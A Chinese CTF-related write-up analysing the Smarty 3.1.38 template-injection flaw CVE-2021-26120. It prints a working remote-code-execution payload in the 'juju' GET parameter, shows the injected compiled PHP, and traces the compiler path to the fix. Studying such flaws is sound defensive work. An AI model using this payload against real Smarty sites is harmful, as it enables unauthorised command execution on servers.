写在前面
前段时间,红明谷CTF有个smarty的注入题,前面从来没有接触过php的模板注入,便参考了一些资料,抽空学习了一下,不足之处多多指教。

关于题目
题目是smarty3.1.39改了规则,再加上一些open_basedir的限制,后来看wp是3.1.38存在两个rce,就拉了一个CVE-2021-26120来跟一下。

分析
本地windows搭的环境,
index.php

<?php
error_reporting(0);
include_once('./libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display("string:".$_GET['juju']);

假设已经知道了:
当访问一个模板文件时,smarty会根据模板文件生成对应的.php编译文件,在下次有相同请求时直接调用,否则重新编译并写新文件。
根据poc,先打个请求看看,/?juju={function+name=test}{/function},发现在tempaltes_c/生成一个编译文件:

<?php
/* Smarty version 3.1.38, created on 2022-03-31 20:45:53
  from '8c326fc8392e7d13b7f993823e2215eb02fb980e' */

/* @var Smarty_Internal_Template $_smarty_tpl */
if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
  'version' => '3.1.38',
  'unifunc' => 'content_6245a281551806_05807432',
  'has_nocache_code' => false,
  'file_dependency' => 
  array (
  ),
  'includes' => 
  array (
  ),
),false)) {
function content_6245a281551806_05807432 (Smarty_Internal_Template $_smarty_tpl) {
$_smarty_tpl->smarty->ext->_tplFunction->registerTplFunctions($_smarty_tpl, array (
  'test' => 
  array (
    'compiled_filepath' => 'D:\\program\\phpStudy_64\\phpstudy_pro\\WWW\\smarty-3.1.38\\templates_c\\8c326fc8392e7d13b7f993823e2215eb02fb980e_0.string.php',
    'uid' => '8c326fc8392e7d13b7f993823e2215eb02fb980e',
    'call_name' => 'smarty_template_function_test_8448067526245a2812ef2c6_13818238',
  ),
));
}
/* smarty_template_function_test_8448067526245a2812ef2c6_13818238 */
if (!function_exists('smarty_template_function_test_8448067526245a2812ef2c6_13818238')) {
function smarty_template_function_test_8448067526245a2812ef2c6_13818238(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}}
/*/ smarty_template_function_test_8448067526245a2812ef2c6_13818238 */
}

打个poc:?juju={function+name='rce(){};system("whoami");function '}{/function}

<?php
/* Smarty version 3.1.38, created on 2022-03-31 20:49:29
  from 'a3aabdfcc563678b439f63a9e8fff2d056eed2a7' */

/* @var Smarty_Internal_Template $_smarty_tpl */
if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
  'version' => '3.1.38',
  'unifunc' => 'content_6245a3598b4cf6_00370686',
  'has_nocache_code' => false,
  'file_dependency' => 
  array (
  ),
  'includes' => 
  array (
  ),
),false)) {
function content_6245a3598b4cf6_00370686 (Smarty_Internal_Template $_smarty_tpl) {
$_smarty_tpl->smarty->ext->_tplFunction->registerTplFunctions($_smarty_tpl, array (
  'rce(){};system("whoami");function ' => 
  array (
    'compiled_filepath' => 'D:\\program\\phpStudy_64\\phpstudy_pro\\WWW\\smarty-3.1.38\\templates_c\\a3aabdfcc563678b439f63a9e8fff2d056eed2a7_0.string.php',
    'uid' => 'a3aabdfcc563678b439f63a9e8fff2d056eed2a7',
    'call_name' => 'smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318',
  ),
));
}
/* smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318 */
if (!function_exists('smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318')) {
function smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}}
/*/ smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318 */
}

大概可以看出第28行中,rce(){};system("whoami");function 插入函数名中,通过{};结束前面一个函数定义,通过function 使后面生成的编译文件名部分字符串提前成为了函数名,中间便导致了插入。
debug跟入看看:(确保删除已经生成的编译文件,调试比较长,只列出一些关键函数)
从display进入->_execute

_execute中190行调用createTemplate生成模板,

接着234行开始render:

进入smarty_internal_template.php的render,跟进到216 compiled->render:

进入smarty_internal_compiled.php的render,跟进到105 process:

进入smarty_internal_compiled.php的process中,断点的两个地方:

compileTemplateSource编译模板源,文件的最后写入就是发生在这里,loadCompiledTemplate再进行加载,
跟进compileTemplateSource:

compileTemplateSource的184行,通过$this->write写文件,跟进write:

filepath就是文件路径,code则为最终编译文件的代码。不过这是最后一步了,先得往回看如何compileTemplate
在smarty_internal_templatecompilerbase.php中,399行,注释也说了,get code frame of compiled template,

跟进如何compileTemplateSource的:
在smarty_internal_templatecompilerbase.php的compileTemplateSource中,481行,调用了doCompile

在这里还是我们传入的payload,

对于payload主要的解析过程,就在doParse过程中:

偷了个懒,因为这部分太长了,加之我也没仔细去跟,就直接跳到最后callTagCompiler

callTagCompiler就相当于调用某类的compile方法:

因为tag为function,所以跟进了smarty_internal_compile_function.php,这里提一下smarty_internal_compile_function.php分别定义了smarty_internal_compile_function和smarty_internal_compile_functionclose两个不同类,分别Compiles code for the {function} and {/function} tag
最后就是compile:

可以看见,payload被原原本本给了$_name,然后就是简单了,$_name直接拼接,带入了最后的内容中

然后就是写个新的模板文件什么的,不多说了。
现在跳回一开始compileTemplateSource和loadCompiledTemplate的地方,loadCompiledTemplate中include了编译文件。

修补
也是在获取$_name的地方加了过滤:

结语
比较可以看出,原题修改了正则,可以通过换行绕过,执行命令时再绕过open_basedir:

还是自己菜了。

参考
https://xz.aliyun.com/t/1983

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖